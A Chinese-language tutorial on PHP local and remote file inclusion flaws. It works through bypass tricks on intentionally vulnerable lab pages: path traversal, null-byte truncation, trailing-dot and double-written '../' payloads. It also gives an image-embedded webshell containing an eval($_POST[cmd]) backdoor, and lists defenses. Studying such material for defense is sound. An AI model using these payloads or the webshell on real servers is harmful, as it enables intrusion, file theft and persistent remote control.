目录
🌻一、理论
🍎1.什么是文件包含漏洞?
通过
PHP函数引入文件
时,传入的文件名没有经过
合理的验证
,从而操作了
预想之外的文件
,就可能导致意外的
文件泄漏
甚至恶意
代码注入
。
🍎2.文件包含漏洞原因
为了代码更灵活,通常会把被包含的文件设置为
变量
,进行
动态调用
,从而导致
客户端可以调用任意文件
,造成
文件包含漏洞
。动态包含的文件
路径参数,客户端可控
。
web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行
🍎3.文件包含函数
函数说明include()找不到被包含的文件时只产生警告 ,脚本将继续执行include_once()此语句和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含require()找不到被包含的文件时会产生致命错误,并停止脚本require_once()此语句和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
其它用于包含的函数:
highlightfile()、 showsource()、 readfile()、 filegetcontents()、 fopen()、file()
🍎4.文件包含漏洞的分类
🥑 4.1本地文件包含(LFI)
指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI用户可以 动态控制变量。
<?php$filename=$_GET['filename'];include($filename);?>
获取系统中的其他文件内容绝对路径 读取本地 host 文件
payload:?filename=C:\Windows\System32\drivers\etc\hosts
相对路径 读取本地 host 文件
payload:?filename=..\..\..\..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
包含图片马
payload:?filename=./test.jpg
🥑4.2远程文件包含(RFI)
指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件
条件
allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)allow_url_fopen = On (是否允许打开远程文件)用户可以动态控制变量
🍎5.php伪协议
协议php版本allow_url_fopenaloow_url_include作用file://>=5.2off/onoff/on访问本地文件系统php://input>=5.2off/onoff/on访问请求的原始数据的只读流zlib://>=5.2off/onoff/on压缩流data://>=5.2onon数据(RFC2397)php://filter///php://filter/read=convert.base64-encode/resource=flag.php:是php中独有的一种协议,是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤
(待补充…)
🍎6.文件包含漏洞如何防御?
- php中使用open_basedir配置限制访问在指定的区域过滤;
- 过滤特殊字符如
(点)/(正斜杠)\(反斜杠)
; - 禁止服务器远程文件包含;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好.
- 配置php.ini配置文件
- 设置黑白名单
🌻二、绕过方式
🍎1、结合文件上传漏洞绕过
<?phpinclude("../common/header.php");?><!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course --><?php hint("will include the arg specified in the GET parameter \"page\"");?><form action="/LFI-1/index.php" method="GET"><input type="text" name="page"></form><?php
include($_GET["page"]);?>
这种情况直接包含一个存在的文件就会被当做php文件执行
利用绝对路径去读c盘下的敏感信息:
?page=c://boot.ini
结合文件上传漏洞打一套组合拳
思路:例如,你进入了某网站的后台,在修改头像处可上传文件,但是图片上传限制了后缀名jpg/png,那你就可以上传一张jpg或者png的图片马,即在图片中写入php木马,然后上传,留意一下上传的图片位置,如果该站还存在文件包含漏洞,那么你就可以通过文件包含刚刚你上传的图片马获取websehll。
?page=../../../../webshell.jpg
和包含的文件类型没有关系,都会被当做php解析。
🍎2、00截断绕过
<?phpinclude("../common/header.php");?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"library\", appends .php to end, escape with NULL byte %00");?><form action="/LFI-2/index.php" method="GET"><input type="text" name="library"></form><?php
include("includes/".$_GET['library'].".php");?>
这种情况,如果你包含一个
?library=../../../../webshell.php
后台得到的是
?library=../../../../webshell.php.php
,显然这样并不能被解析。
这个时候我们就可以用%00截断
?library=../../../../webshell.php%00
后台得到的是这样的
?library=../../../../webshell.php .php
后面那个.php就会被忽略掉了。
🍎3、点加斜杠绕过
<?phpinclude("../common/header.php");?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"file\", looks for .php at end - bypass by apending /. (slash plus dot)");?><form action="/LFI-3/index.php" method="GET"><input type="text" name="file"></form><?php
if(substr($_GET['file'],-4,4)!='.php')echofile_get_contents($_GET['file']);elseecho'You are not allowed to see source files!'."\n";?>
读源码,我们可以发现,它多了一个判断,即
if (substr($_GET['file'], -4, 4) != '.php')
这句代码的意思是,取文件的后四位,如果不是
.php
结尾的就去读取内容,否则输出
You are not allowed to see source files!
绕过思路:我们可以在文件名后面加一个点、斜杠或者%00绕过
?file=../../../../webshell.php.
?file=../../../../webshell.php/.
?file=../../../../webshell.php%00
注意:浏览器可能会过滤掉,我们可以用
BP
抓包修改。
windows文件名不允许包含这些特殊字符,如果你创建一个
test.php.
得到的是一个
test.php
后面哪个点会自动抹掉。
🍎4、去掉后缀名绕过
<?phpinclude("../common/header.php");?><!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ --><?php hint("will include the arg specified in the GET parameter \"class\", appends .php to end, defeat with NULL byte %00");?><form action="/LFI-4/index.php" method="GET"><input type="text" name="class"></form><?php
include('includes/class_'.addslashes($_GET['class']).'.php');?>
这里关键在于
addslashes
这个函数
定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
意思就是将这些危险字符前面加反斜杠
\
转义掉,是一种预防攻击的方法。
文件包含的时候去掉后缀
.php
即可
?class=../../../../phpinfo
🍎5、双写点点杠绕过
<!-- from http://hakipedia.com/index.php/Local_File_Inclusion --><?php include("../common/header.php");?><?php hint("will include the arg specified in the GET parameter \"file\", strips prepended \"../\" strings, must encode / with %2f");?><form action="/LFI-5/index.php" method="GET"><input type="text" name="file"></form><?php$file=str_replace('../','',$_GET['file']);if(isset($file)){include("pages/$file");}else{include("index.php");}?>
通过源码可以看到,他把
../
替换成了空,这一句:
$file = str_replace('../', '', $_GET['file']);
绕过思路:在两个点之间加
../
?file=..././..././..././..././phpinfo.php
🍎6、method为POST
<?php include("../common/header.php"); ?><!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course --><?php hint("will include the arg specified in the POST parameter \"page\"");?><form action="/LFI-6/index.php" method="POST"><input type="text" name="page"></form><?php
include($_POST["page"]);?>
只不过是提交方式方便,绕过思路同GET。
绕过思路:上传点如果上传一张图片,
内容为如下,当我们文件包含
tupian.jpg
的时候,会在同一目录下(这里的目录是当前根目录)生成一个
shell.php
的文件,内容为一句话木马
<?php eval($_POST[cmd])?>
<?phpfputs(fopen('shell.php''w');<?php eval($_POST[cmd])?>');?>
文件包含:
?page=../../../../tupian.jpg
然后菜刀连接。
🍎7、包含日志文件
🌻三、待补充
你有什么补充说明的,欢迎评论区留言讨论!
版权归原作者 花城的包包 所有, 如有侵权,请联系我们删除。